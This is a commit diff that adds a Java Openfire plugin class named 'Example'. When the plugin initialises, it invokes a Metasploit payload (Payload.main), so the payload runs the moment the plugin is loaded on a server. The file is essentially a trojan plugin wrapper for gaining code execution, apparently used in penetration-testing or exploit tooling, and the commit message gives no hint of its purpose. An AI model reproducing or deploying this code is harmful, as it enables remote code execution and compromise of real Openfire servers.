Adjust files to be better shared
This commit is contained in:
@@ -0,0 +1,31 @@
|
||||
package com.example.openfire.plugin;
|
||||
|
||||
import java.io.*;
|
||||
import java.util.TimerTask;
|
||||
|
||||
import org.jivesoftware.util.JiveGlobals;
|
||||
import org.jivesoftware.openfire.container.Plugin;
|
||||
import org.jivesoftware.openfire.container.PluginManager;
|
||||
|
||||
import org.jivesoftware.util.JiveGlobals;
|
||||
import org.jivesoftware.util.Log;
|
||||
import org.jivesoftware.util.TaskEngine;
|
||||
import metasploit.*;
|
||||
|
||||
public class Example implements Plugin {
|
||||
|
||||
public void initializePlugin(PluginManager manager, File pluginDirectory) {
|
||||
try{
|
||||
Payload.main(null);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Log.error("error", ex);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public void destroyPlugin() {
|
||||
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user